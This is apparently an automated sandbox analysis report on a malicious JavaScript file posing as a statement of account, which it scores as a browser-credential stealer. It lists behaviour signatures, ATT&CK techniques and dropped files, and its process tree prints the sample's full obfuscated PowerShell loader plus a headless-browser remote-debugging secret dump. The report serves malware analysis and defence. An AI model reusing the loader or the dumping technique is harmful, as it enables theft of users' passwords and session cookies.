Overview

overview

10

Static

static

1

UPDATED SO...026.js

windows10-2004-x64

10

UPDATED SO...026.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    138s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 12:11

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    UPDATED SOA 07 JULY 2026.js
  • Size 41KB
  • Sample260707-pc33psev5r
  • SHA256 8f0bd327bbe739dd80f938e8d7844d3eaa620df4b0d1f4e6d0808a7dfaacd426
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarecollectioncredential_accessdefense_evasiondiscoveryexecutionpersistencespywarestealer

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Uses browser remote debugging 2 TTPs 2 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
    collection
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 39 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\UPDATED SOA 07 JULY 2026.js"
    1⤵
      PID:2720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "$j=47-27;$vv7b3x='eBKx4gd6qz';$defUtwKo='c2e2b2a6ffbfbab188bcaa8d91f2b39eabffb4beab9bc1e193c795d2bea4e1bb84a0e8a4adf98bbfa686959fffa3affbbea292d2db81fbaebbeeb2a4b6b893bdeaa2adf3b7f0f2c8ba9cfbb9e0cfbeb3ba9a88a6e79dbcf3afbfac878d86e7bdabc1e1ea9b8492e3acc0c4b8b9e6fbd5c6b6c683befeb6b3a8bdd2bee4a989caaf9fb6aad0b1aca1bbc6a2929b8db99cae9799acae85a2be8cb0d99ba4f89cbcb98a8ba1f9ae86cab2b288848b9bd983bdc5839eb5a1a790f19499a9ebb2fdd9a98bc69fa2f9e892feb18caaee94b7dea1b488aed1b3c980a9cd839eb5b2b6e3f7af86f7bc8488d18988db8bb4ffe986bbb18caaab8689d6eeb488be838acd8fa0d783a48d8bd29cf2af99d6a8b59caa8e82cb8bb4ffe986bbb18caaab81a5f8b7b48abed588c983fff89cbcbab2d194e4aefccaaf89a290d499dda6f9d59cbca2a3a6b5f9849aadaeb498909299c6b9f7d5939aa38ca984e7afa7de99b387aaa4b0acfca6fd8ce4bab9d284e7aea3caaeb48aba97b0c98bbefeb2e5828ad394f58689ffab9ffcd9d8f593c78ff8bffd9b9191b7bee09ae5abb58b8d87bbf0a4baf5b4beefc0ba86fbb5bab29ebeac8785bbf0aa93a6e1859baed9fcd9a8bacfafa2a68686fac58ea1f2adb5bd9cbce8a48bbcf3b692ae9b84e4aa9ebaeeb2bea8c0c5b0a8f9e7b5f2ddc58e94bcfdb9a7f3b5f0abc0c5beb7b6eaebe69eaa9fcc9dfca7abffaff0818d95fcc9a8acdfb7b9aa8695e9b68aabe8f682ae8685bdf3edeaf0fbfd8c8794bceaedeaf0f593a09d8fa6b7b1ebe7afa2b69393b7eab8bcf2fbf4b8c6a5bde9a3a2f3bab48b8995b3b6e991b5a6b3ae9c82bae5b0b3e1d6daa99d8fb1eaa4a1f2fbb9e7cc80febab9e2b8b6fceb98dc92b6e4e7e7ffa9f2b3b1baffa3baf3b697ae9c848fa4f782f3bab48e9b92b7f3afa2e5f3';$bKaFXKvhW='FHY3FkVADEddAXdyankYQlQQDAZMKGUJPhx3FkhDfnZzSEEfVBIEC0RqJQkPDxURCmhVY1NIFVpeBwwLXTs2djNXVw9BTER+cUNPcFgNQEZecFhBAFVCPgN/RXVyRAIefwxKf0V1ckQCHmIXRVtZdDJkD0FFAkpMVTA3BFoWXl5NSRg2OkNPe0IwUE5Efn0EGmlwAFBGRnZqQhNvC1lnXVV2akgoXEIXRUFTcjYJExtMWABBHl5wWw5ZVEsAQBwzbgQcPztuLgtbKl4FSRVZF1BfCjgxRhtTUE1HQB5tfwJQHFsTQwgZOzYKCUZFE1cVHzgvHVYcAFQXAQIwPgZBFQNUChYJOHdABh0ATU5fVzA3BGw4WAUMBxRwI0lBFlpKCU5eczYJFQ9qN0FXRDlbQwJdVQpKSG0tJHg1dAlNY0pERGpfCFxWSwBIGT4zQABGUgsDEwxESmxGEhpDA31kKSAFTxgOShgTdVlaE18VGBgpJRA3OkoGVBFeBAhHdmwCWHMHOl1uZSUxXRFTHxpCSkRkf11OHQsQQ1xWfHlLCVRCBVdLFzclDUVVVgUEEhAzeUoHHGIWRlxEZXdDBhoBTwQLV3B4Ay1XXwRQRxA6PhxTGzxpAEMQKj4KURURWCklEDc+DQgSGThnQF5he18VbwtZYl1felxMElcHV3dbQn5wSkkWfAJQTFhybXZQbxhKBAhdbm5fDlVDAkkBeHhzSARBFkMDXUV5bV5GEnFLAEhXcTINRV4dQwMIHDc5fwRVcBBJCBw3ORxGEh1DA1cIITkEbDgRQwQPd3JqADFAXgBBXENrbUITRhEgdHoQOnpIElFNEEFDVXRqDUxUWBFXWxAiYksVEn8CSUocVE54QU88aSklEDc+DUESEUMEDw==';$oFXwFdVu=0xA058-0x4EC2;$xXOdqH=@();foreach($c in [char[]]$vv7b3x){$xXOdqH+=[byte]($c-bxor0xAA)};$dp3cCaZ=$xXOdqH;$xXOdqH=@();foreach($c in [char[]]$vv7b3x){$xXOdqH+=[byte]($c-bxor0x55)};$gs5aPssk=$xXOdqH;$r='';$i=0;for($j=0;$j-lt$defUtwKo.Length;$j+=2){$r+=[char](([Convert]::ToInt32($defUtwKo.Substring($j,2),16))-bxor$dp3cCaZ[$i++%$dp3cCaZ.Length])};$hnOyWC=$r;$b=[Convert]::FromBase64String($bKaFXKvhW);$r='';$i=0;for($j=0;$j-lt$b.Length;$j++){$r+=[char]($b[$j]-bxor$gs5aPssk[$i++%$gs5aPssk.Length])};$d3TqIe7UC=$r;$suinXPc=$hnOyWC+$d3TqIe7UC;.($env:ComSpec[4,26,25]-join'') $suinXPc"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5816
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ze5lmqsr\ze5lmqsr.cmdline"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:876
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6E9E.tmp" "c:\Users\Admin\AppData\Local\Temp\ze5lmqsr\CSCBDACE9A169AB42B7AC50840905CED3D.TMP"
          3⤵
            PID:2104
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          2⤵
            PID:1388
          • C:\Windows\system32\taskkill.exe
            "taskkill" /PID 1388 /F
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3708
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            2⤵
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            • outlook_office_path
            PID:5012
            • C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe
              "C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe" /b:chrome /b:edge /b:brave /e:all
              3⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2436
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless=new --disable-gpu --remote-debugging-port=9222 --disable-background-timer-throttling
                4⤵
                • Uses browser remote debugging
                • Loads dropped DLL
                • Enumerates system info in registry
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:948
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome948240749390 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome948240749390\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome948240749390 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x214,0x21c,0x220,0x20c,0x224,0x7ffca5a1c728,0x7ffca5a1c734,0x7ffca5a1c740
                  5⤵
                    PID:4092
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --disable-gpu --remote-debugging-port=9222 --disable-background-timer-throttling
                  4⤵
                  • Uses browser remote debugging
                  • Loads dropped DLL
                  • Enumerates system info in registry
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:3220
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge3220240749703 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge3220240749703\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x308,0x30c,0x310,0x2fc,0x328,0x7ffca55fc188,0x7ffca55fc194,0x7ffca55fc1a0
                    5⤵
                      PID:52
            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
              1⤵
                PID:2756
              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                1⤵
                  PID:2792
                • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                  1⤵
                    PID:108
                  • C:\Windows\system32\sihost.exe
                    sihost.exe
                    1⤵
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of WriteProcessMemory
                    PID:1208
                    • C:\Windows\explorer.exe
                      explorer.exe /LOADSAVEDWINDOWS
                      2⤵
                      • Boot or Logon Autostart Execution: Active Setup
                      • Enumerates connected drives
                      • Checks SCSI registry key(s)
                      • Modifies Internet Explorer settings
                      • Modifies registry class
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      • Suspicious use of SetWindowsHookEx
                      PID:4292
                  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                    1⤵
                    • Modifies registry class
                    • Suspicious use of SetWindowsHookEx
                    PID:5212
                  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                    1⤵
                    • Modifies registry class
                    • Suspicious use of SetWindowsHookEx
                    PID:5076

                  Network

                        MITRE ATT&CK Enterprise v16

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        2
                        T1059

                        JavaScript

                        1
                        T1059.007

                        PowerShell

                        1
                        T1059.001

                        Persistence

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Active Setup

                        1
                        T1547.014

                        Modify Authentication Process

                        1
                        T1556

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Active Setup

                        1
                        T1547.014

                        Defense Evasion

                        Modify Authentication Process

                        1
                        T1556

                        Modify Registry

                        2
                        T1112

                        Credential Access

                        Credentials from Password Stores

                        1
                        T1555

                        Credentials from Web Browsers

                        1
                        T1555.003

                        Modify Authentication Process

                        1
                        T1556

                        Steal Web Session Cookie

                        1
                        T1539

                        Unsecured Credentials

                        1
                        T1552

                        Credentials In Files

                        1
                        T1552.001

                        Discovery

                        Browser Information Discovery

                        1
                        T1217

                        Peripheral Device Discovery

                        2
                        T1120

                        Query Registry

                        3
                        T1012

                        System Information Discovery

                        3
                        T1082

                        System Location Discovery

                        1
                        T1614

                        System Language Discovery

                        1
                        T1614.001

                        Lateral Movement

                        Collection

                        Data from Local System

                        1
                        T1005

                        Email Collection

                        1
                        T1114

                        Command and Control

                        Exfiltration

                        Impact

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        prep_Activatable Class_Hermes_perf.cache
                        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                        • Size 599B
                        • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        ChromeData.json
                        • Path C:\Users\Admin\AppData\Local\Temp\ChromeData.json
                        • Size 322B
                        • SHA256 1c5f9a6daa7e6b6e7a3abf219c105c49163b58a61a75626bc404e7426f315b67
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        DllExtractChromiumSecrets.dll
                        • Path C:\Users\Admin\AppData\Local\Temp\DllExtractChromiumSecrets.dll
                        • Size 45KB
                        • SHA256 b0935270bc8ed6d31c5352c49a8f5d7cbe62457133fe1cf7effeeeb1440e9ce0
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        DumpBrowserSecrets.exe
                        • Path C:\Users\Admin\AppData\Local\Temp\DumpBrowserSecrets.exe
                        • Size 381KB
                        • SHA256 c934a2db58a1a64ee245a7627843508c6c517fcb06ea6855d26a72b41ae6753b
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        EdgeData.json
                        • Path C:\Users\Admin\AppData\Local\Temp\EdgeData.json
                        • Size 429B
                        • SHA256 04613ac15b76c5ee17d7249a0a86f90fb2ad499432bce56baa8375c5cc327574
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        settings.dat
                        • Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge3220240749703\Crashpad\settings.dat
                        • Size 280B
                        • SHA256 541d6a8253e800ce2bff72d769c18f033eeb4ca19fe2d007a4acc33fa749d4a3
                        • MD5 SHA1 SHA512
                        Submit Download

                        throttle_store.dat
                        • Path C:\Users\Admin\AppData\Local\Temp\HeadlessEdge3220240749703\Crashpad\throttle_store.dat
                        • Size 20B
                        • SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
                        • MD5 SHA1 SHA512
                        Submit Download

                        RES6E9E.tmp
                        • Path C:\Users\Admin\AppData\Local\Temp\RES6E9E.tmp
                        • Size 1KB
                        • SHA256 0efb23c1f04743b59f1ecccee1f39e275bcc80ccda9605ae3e663dcec8830abd
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        ze5lmqsr.dll
                        • Path C:\Users\Admin\AppData\Local\Temp\ze5lmqsr\ze5lmqsr.dll
                        • Size 3KB
                        • SHA256 b04b7c5201c4c0e8ad024ba2b9d877cba08722773dbc6dfdb9ee0d5e1290f63b
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        CSCBDACE9A169AB42B7AC50840905CED3D.TMP
                        • Path \??\c:\Users\Admin\AppData\Local\Temp\ze5lmqsr\CSCBDACE9A169AB42B7AC50840905CED3D.TMP
                        • Size 652B
                        • SHA256 59b254562ef14a31df88f001d93f73ed32fd0662c06e5b85d30fff24ca178213
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        ze5lmqsr.0.cs
                        • Path \??\c:\Users\Admin\AppData\Local\Temp\ze5lmqsr\ze5lmqsr.0.cs
                        • Size 213B
                        • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        ze5lmqsr.cmdline
                        • Path \??\c:\Users\Admin\AppData\Local\Temp\ze5lmqsr\ze5lmqsr.cmdline
                        • Size 369B
                        • SHA256 e782596b2f417aa08e0e0f3b447344a9dcdb9b4457f4471002453254777c0dba
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        memory/4292-252-0x000000000E880000-0x000000000F0FB000-memory.dmp
                        Download

                        memory/5012-30-0x0000000005500000-0x0000000005ABA000-memory.dmp
                        Download

                        memory/5012-65-0x0000000007430000-0x000000000743A000-memory.dmp
                        Download

                        memory/5012-56-0x0000000006390000-0x00000000068BC000-memory.dmp
                        Download

                        memory/5012-58-0x0000000005F60000-0x0000000005FD6000-memory.dmp
                        Download

                        memory/5012-54-0x0000000005C90000-0x0000000005E52000-memory.dmp
                        Download

                        memory/5012-61-0x0000000007250000-0x0000000007262000-memory.dmp
                        Download

                        memory/5012-28-0x00000000000C0000-0x0000000000180000-memory.dmp
                        Download

                        memory/5012-64-0x0000000007470000-0x0000000007502000-memory.dmp
                        Download

                        memory/5012-31-0x0000000005010000-0x0000000005076000-memory.dmp
                        Download

                        memory/5212-114-0x0000021C88F10000-0x0000021C88F30000-memory.dmp
                        Download

                        memory/5212-87-0x0000021C85380000-0x0000021C85480000-memory.dmp
                        Download

                        memory/5212-132-0x0000021C998A0000-0x0000021C998C0000-memory.dmp
                        Download

                        memory/5212-101-0x0000021C990A0000-0x0000021C991A0000-memory.dmp
                        Download

                        memory/5212-100-0x0000021C88E10000-0x0000021C88E30000-memory.dmp
                        Download

                        memory/5816-6-0x00007FFCA5080000-0x00007FFCA5A24000-memory.dmp
                        Download

                        memory/5816-32-0x00007FFCA5080000-0x00007FFCA5A24000-memory.dmp
                        Download

                        memory/5816-7-0x00007FFCA5080000-0x00007FFCA5A24000-memory.dmp
                        Download

                        memory/5816-5-0x00007FFCA5080000-0x00007FFCA5A24000-memory.dmp
                        Download

                        memory/5816-8-0x00007FFCA5080000-0x00007FFCA5A24000-memory.dmp
                        Download

                        memory/5816-9-0x00007FFCA5080000-0x00007FFCA5A24000-memory.dmp
                        Download

                        memory/5816-10-0x00007FFCA5080000-0x00007FFCA5A24000-memory.dmp
                        Download

                        memory/5816-16-0x00007FFCA5080000-0x00007FFCA5A24000-memory.dmp
                        Download

                        memory/5816-2-0x00000182B2C30000-0x00000182B2C52000-memory.dmp
                        Download

                        memory/5816-0-0x00007FFCA520F000-0x00007FFCA5210000-memory.dmp
                        Download

                        memory/5816-27-0x00000182B2950000-0x00000182B296A000-memory.dmp
                        Download

                        memory/5816-11-0x00007FFCA5080000-0x00007FFCA5A24000-memory.dmp
                        Download

                        memory/5816-26-0x00000182B2CE0000-0x00000182B2CE8000-memory.dmp
                        Download

                        memory/5816-14-0x00007FFCA5080000-0x00007FFCA5A24000-memory.dmp
                        Download

                        memory/5816-3-0x00007FFCA5080000-0x00007FFCA5A24000-memory.dmp
                        Download